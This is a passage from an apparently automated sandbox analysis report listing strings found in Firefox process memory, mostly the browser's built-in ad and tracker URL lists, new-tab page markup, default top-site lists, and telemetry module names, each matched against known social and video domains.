"://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3329779712.00000230FCA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]]{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}(' equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7158000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7160000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F7158000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3353169054.000002310337D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3349181281.00000231030AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3349181281.00000231030AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000037.00000002.3349181281.00000231030AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3334950017.00000230FCF7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: requireBackgroundServiceWorkerEnabledUnsupported on Firefox at this time.^resource://(\\|\\.[^/]+\|[^/]+)/.$\|^about:declarativeNetRequestWithHostAccessbound onExtensionEnableProcessSpawningMAX_NUMBER_OF_DYNAMIC_AND_SESSION_RULESPlease use $(ref:runtime.onMessage)."://www.facebook.com/platform/impression.php*" equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://gre/modules/TelemetryController.sys.mjs://www.gstatic.com/firebasejs//firebase-messaging.js**://id.rambler.ru/rambler-id-helper/auth_events.jsresource://gre/modules/TelemetryTimestamps.sys.mjsbrowser.engagement.session_time_excluding_suspendsaveShutdownPings - failed to submit shutdown ping_sendDailyPing - Failed to save the aborted session pingassemblePayloadWithMeasurements/measurements.keyedScalars<saveShutdownPings - failed to submit saved-session pingassemblePayloadWithMeasurements/measurementsContainGPU<assemblePayloadWithMeasurements/measurementsContainSocket<assemblePayloadWithMeasurements/payloadObj.slowSQL<assemblePayloadWithMeasurements - caught exceptiondatareporting.policy.dataSubmissionPolicyAcceptedVersionbrowser.engagement.session_time_including_suspendassemblePayloadWithMeasurements/measurements.scalars<saveShutdownPings - failed to submit first shutdown pingassemblePayloadWithMeasurements/measurements.histograms<resource://gre/modules/TelemetryControllerBase.sys.mjs_onEnvironmentChange - throttling; last change was assemblePayloadWithMeasurements/measurements.keyedHistograms<assemblePayloadWithMeasurements/payloadObj.lateWrites<assemblePayloadWithMeasurements/payloadObj.addonDetails<toolkit.telemetry.shutdownPingSender.enabledFirstSessiondatareporting.policy.dataSubmissionPolicyNotifiedTimegetScalars - We only support scalars in subsessions.resource://gre/modules/TelemetryReportingPolicy.sys.mjsassemblePayloadWithMeasurements/measurementsContainUtility<assemblePayloadWithMeasurements/payloadObj.fileIOReports<datareporting.policy.dataSubmissionPolicyBypassNotificationresource://gre/modules/TelemetryEnvironment.sys.mjsresource://gre/modules/addons/AddonSettings.sys.mjsresource://gre/modules/ExtensionPermissions.sys.mjsresource://gre/modules/TelemetryScheduler.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000037.00000002.3330390371.00000230FCB9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3330390371.00000230FCBAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3330390371.00000230FCB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
